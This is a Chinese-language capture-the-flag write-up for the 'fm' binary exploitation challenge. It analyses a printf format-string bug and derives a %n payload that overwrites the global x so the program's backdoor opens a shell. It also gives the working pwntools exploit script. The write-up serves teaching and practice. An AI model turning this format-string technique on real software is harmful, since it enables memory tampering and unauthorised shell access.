解题思路
反编译,查找漏洞
undefined4 main(void)
{
int iVar1;
undefined4 *puVar2;
int in_GS_OFFSET;
byte bVar3;
undefined4 local_64 [20];
int local_14;
bVar3 = 0;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
be_nice_to_people();
iVar1 = 0x14;
puVar2 = local_64;
while (iVar1 != 0) {
iVar1 = iVar1 + -1;
*puVar2 = 0;
puVar2 = puVar2 + (uint)bVar3 * -2 + 1;
}
read(0,local_64,0x50);
printf((char *)local_64);
printf("%d!\n",x);
if (x == 4) {
puts("running sh...");
system("/bin/sh");
}
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
从题目来看,意图很明显,因为后门就在条件判断的地方
if (x == 4) {
puts("running sh...");
system("/bin/sh");
}
那可利用的点,很明显,有一个read函数,local_64长度为20,但是限制为0x50,是可以溢出利用的。是不是很简单?
(经过多次毒打之后,我已经没那么乐观了)
read(0,local_64,0x50);
OK,先按这个思路去溢出下试试,看看是否能够直接改写返回地址,果然,最大长度,也无法到达返回地址。看下汇编代码:
undefined main(undefined param_1, undefined4 param_2)
0804854d 55 PUSH EBP
0804854e 89 e5 MOV EBP,ESP
08048550 57 PUSH EDI
08048551 53 PUSH EBX
08048552 83 e4 f0 AND ESP,0xfffffff0
08048555 83 c4 80 ADD ESP,-0x80
函数进来就有个抬栈的动作,0x50够不到返回地址也就正常了。
继续寻找,发现printf函数,直接使用输入作为输出,可以利用格式化漏洞%n。
printf((char *)local_64);
再结合进入后门的判断条件x==4, 基本可以确定题目思路是利用%n改写x的值,从而进入后门分支。
解题过程
接下来就要确定字符串输入了,先看下printf的时候栈的构造:
0000| 0xffffd280 --> 0xffffd2ac ("%c%c...") -- 1
0004| 0xffffd284 --> 0xffffd2ac ("%c%c%...") -- 2
0008| 0xffffd288 --> 0x50 ('P')
0012| 0xffffd28c --> 0xc2
0016| 0xffffd290 --> 0x0
0020| 0xffffd294 --> 0xc30000
0024| 0xffffd298 --> 0x0
0028| 0xffffd29c --> 0xffffd3a4 --> 0xffffd500 (".../jarvisoj_fm/fm")
0032| 0xffffd2a0 --> 0x0
0036| 0xffffd2a4 --> 0x0
0040| 0xffffd2a8 --> 0x38 ('8')
0044| 0xffffd2ac ("%c%c%...") -- 3
其中1处为printf入参,2开始就是可以利用的栈上参数,3处为local_64的栈上地址。2~3之间参数距离为10.
OK,到这里需要解决的点就比较清楚了:
1 构造的字符串,需要吞掉前面10个参数,同时吞掉自己的空间占用,最终为%n的写入创造条件
2 x全局变量的定义为3,根据1的分析,无论如何,输出长度都会大于10,如何将x修改为4?
0804a02c 03 00 00 00 undefined4 00000003h
解决这两个问题费了我不少时间,走了不少弯路,不是一般菜。
对于第一个问题,选择使用%c来吞掉确定的参数(%p等长度都不确定),用限制宽度的方式%宽度x,来补齐需要的长度,长度待定。
对于第二个问题,如果直接修改0804a02c,没办法修改为4。但是小端序的情况,往前一个字节,是有可能的。
0804a02b 00 04 00 00 --> 0804a02c 04 00 00 00
即将0804a02b修改为0x0400,也就是%n输出长度为1024,就能达成。
那就剩下最后一个问题,需要多少个%c来吞掉参数,抽象一下:
%c长度为2 %widthx宽度占用为4字节(1024) %n长度为2 0804a02b地址长度为4 总长度应为4的整数倍
2x + 6 + 2 + 4 = 4y
参见栈构造2~3之间的距离 输入字符串长度(%4)的占用 %c吞掉的参数 %widthx吞掉的参数 %n吞掉的参数
10 + y = x + 1 + 1
算一下公式,x=22,y=14,with=1024-22=1002
OK,到这基本大功告成了。
解题脚本
1 from pwn import *
3 elf = ELF('fm')
4 #libc = ELF('libc-2.27.so') # 根据环境不同进行替换
5
6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
7
8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
9 #shellcode=asm(shellcraft.amd64.linux.sh())
10 #print(len(shellcode))
11 #print(shellcode)
12
13 sh = process('./fm')
14 #sh.recvuntil('story!\n')
15
16 x_address = 0x0804a02b
17 #pad = '%x'* 21 + '%n'
18 pad = '%c' * 22 + '%1002x' + '%n'
19 payload = pad.encode() + p32(x_address)
20 sh.sendline(payload)
21
26
27 with open('payload.txt', 'wb') as f:
28 f.write(payload)
29 #f.write(b'\n\n\n\n')
30 #f.write(payload1)
31
32
33 sh.sendline(payload)
34
35 sh.interactive()
总结
上面算长度的公式,折腾了好久,折腾完发现挺简单,还挺有成就感,但是过程挺折磨,可能还是脑子不习惯数学公式很久了吧,该复习高数或者算法了?